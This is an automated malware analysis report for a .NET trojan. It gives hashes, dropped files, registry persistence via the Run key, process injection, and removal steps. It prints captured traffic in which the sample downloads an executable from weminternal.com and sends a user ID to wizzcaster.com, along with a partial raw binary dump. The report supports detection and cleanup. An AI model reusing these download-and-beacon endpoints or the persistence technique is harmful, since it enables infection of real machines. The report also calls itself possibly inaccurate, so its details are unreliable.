Trojan.MSIL.Agent.BRV_23f47d2560

by malwarelabrobot on November 23rd, 2016 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.MSIL.Agent.BRV (B) (Emsisoft), Trojan.MSIL.Agent.BRV (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 23f47d2560af5bc1f634060b6abacdf3
SHA1: e73bfcae173a38d348126ea65a0997d6cf7d8a5e
SHA256: 0e8d9d2d946bf5ab422174228b81fa6db0da0a0cf251e0e46f0a2754d6661b6a
SSDeep: 24576:krIj3qYmj/2eOXC6siFxtSoZfI4cluNaNf5Lut7hPcX3rpTaUeyIw7AAj2kAzV4C:ebSNswtSMOrpNeQxj2QprDlDZYWg
Size: 2335744 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: no certificate found
Created at: 2016-11-08 17:23:40
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:2180

The Trojan injects its code into the following process(es):

J0H3QAI5QG.exe:2724

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2180 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe (19528 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\V60LYP4YWI.exe (0 bytes)

The process J0H3QAI5QG.exe:2724 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (38 bytes)

Registry activity

The process %original file name%.exe:2180 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\otut]
"partner" = "idsc"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"FileTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\otut]
"Product" = "unknown"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASAPI32]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"EnableFileTracing" = "0"
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\otut]
"channel" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\23f47d2560af5bc1f634060b6abacdf3_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process J0H3QAI5QG.exe:2724 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\J0H3QAI5QG_RASMANCS]
"EnableFileTracing" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"3OWZXRF45I" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe"

Dropped PE files

MD5 File path
1894a3b37eb2baaf66e7fce4123c2448 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: HSUO
Product Name:
Product Version: 4.6.3.4
Legal Copyright: Copyright (c) 2016
Legal Trademarks: HSUO@3CK
Original Filename: Cendrillon.exe
Internal Name: Cendrillon.exe
File Version: 4.6.3.4
File Description: HS
Comments: HSUO@
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 8192 2140940 2141184 4.16776 bbb69954da19b269ddb69c657d0c7323
.rsrc 2154496 193352 193536 3.97953 3afa5ec146a121d1c07898b34af108e3
.reloc 2351104 12 512 0.070639 3f4e453ccab004416e35f40213dd5fc0

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://weminternal.com/get/3/wizzcaster_v2.exe 46.105.121.115
hxxp://wizzcaster.com/api/v5/config 176.31.115.114
hxxp://wizzcaster.com/api/v5/link 176.31.115.114


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY PE EXE or DLL Windows file download HTTP

Traffic

GET /get/3/wizzcaster_v2.exe HTTP/1.1
Host: weminternal.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Tue, 22 Nov 2016 06:05:07 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="wizzcaster_v2.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
5a400..MZ......................@......................................
.........!..L.!This program cannot be run in DOS mode....$.......PE..L
...\..W.........."...0.................. ........@.. .................
...................@.................................p...O............
.......................8..............................................
.. ............... ..H............text........ ......................
..`.rsrc...............................@..@.reloc.....................
.........@..B........................H........%..............x@...v...
.......................................6.(.....(....*z.,..{....,..{...
.o......(....*z.s....}......(.....r...po....*V.(......}......}....*...
0...........{....(....t.....s.....{......o......r...po.....r...po.....
..ijo .....o!....o".........io#......,..o......o$...t1...o%...s&...o'.
..*......R.._.......0..........(.....s....o......&..*.................
..((...~....%-.&~..........s)...%.....o*...*..0..G.......s ....r[..p..
. 1..r]..p(,...o-.....r]..p.(........(/...(0......X...2..*..(....*..0.
..........(....r[..p.....,Q....(1.......(2......5...%...%....((...o3..
.r...p(4....(5....(.....^o6...(7...&.Q((...o3...r...p(4...(8........i.
2).........(9.....(1.....(:.......(;...i. .s<...z...(....}......(..
..}....*........N..V.......0..B.......~=...r...p.o>.....-.*...(....
r...p(?...o@...r...p(A...oB....oC...*...0../....... ....(D.....{....(E
...&..&.. `....{....Z(D... ...................~....-.r...p.....(F...oG
...sH........~....*.~....*.......*.~....*..(I...*Vs....(J...t.....

<<< skipped >>>

POST /api/v5/config HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wizzcaster.com
Content-Length: 38
Expect: 100-continue
Connection: Keep-Alive


HTTP/1.1 100 Continue
....



uid=57a764d042bf8&days_after_install=0


HTTP/1.1 200 OK

Date: Tue, 22 Nov 2016 06:05:10 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
Set-Cookie: laravel_session=7eac9170c3a1cd4c679e670fc0f581113f5a8318; expires=Tue, 22-Nov-2016 08:05:10 GMT; Max-Age=7200; path=/; httponly
Content-Length: 28
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
{"time_between_prints":"20"}HTTP/1.1 200 OK..Date: Tue, 22 Nov 2016 06
:05:10 GMT..Server: Apache/2.4.10 (Debian)..Cache-Control: no-cache..S
et-Cookie: laravel_session=7eac9170c3a1cd4c679e670fc0f581113f5a8318; e
xpires=Tue, 22-Nov-2016 08:05:10 GMT; Max-Age=7200; path=/; httponly..
Content-Length: 28..Keep-Alive: timeout=10, max=100..Connection: Keep-
Alive..Content-Type: text/html; charset=UTF-8..{"time_between_prints":
"20"}
....



POST /api/v5/link HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Host: wizzcaster.com
Content-Length: 17
Expect: 100-continue


HTTP/1.1 100 Continue
....



uid=57a764d042bf8


HTTP/1.1 200 OK

Date: Tue, 22 Nov 2016 06:05:10 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
Set-Cookie: laravel_session=a49d2783bfc869eb8cebe96db502ca978e78887d; expires=Tue, 22-Nov-2016 08:05:11 GMT; Max-Age=7200; path=/; httponly
Content-Length: 59
Content-Type: text/html; charset=UTF-8
{"link":"http:\/\/wizzcaster.com\/redirect\/57a764d042bf8"}HTTP/1.1 20
0 OK..Date: Tue, 22 Nov 2016 06:05:10 GMT..Server: Apache/2.4.10 (Debi
an)..Cache-Control: no-cache..Set-Cookie: laravel_session=a49d2783bfc8
69eb8cebe96db502ca978e788..


The Trojan connects to the servers at the folowing location(s):

J0H3QAI5QG.exe_2724_rwx_002DC000_00004000:

mi^
i^

J0H3QAI5QG.exe_2724_rwx_00302000_00002000:

0141 1$1

J0H3QAI5QG.exe_2724_rwx_039F0000_00010000:

%8x[v

J0H3QAI5QG.exe_2724_rwx_69722000_00002000:

.ri3J
-yiq.yiw
-yiq.yi


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:2180

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe (19528 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (38 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "3OWZXRF45I" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\J0H3QAI5QG.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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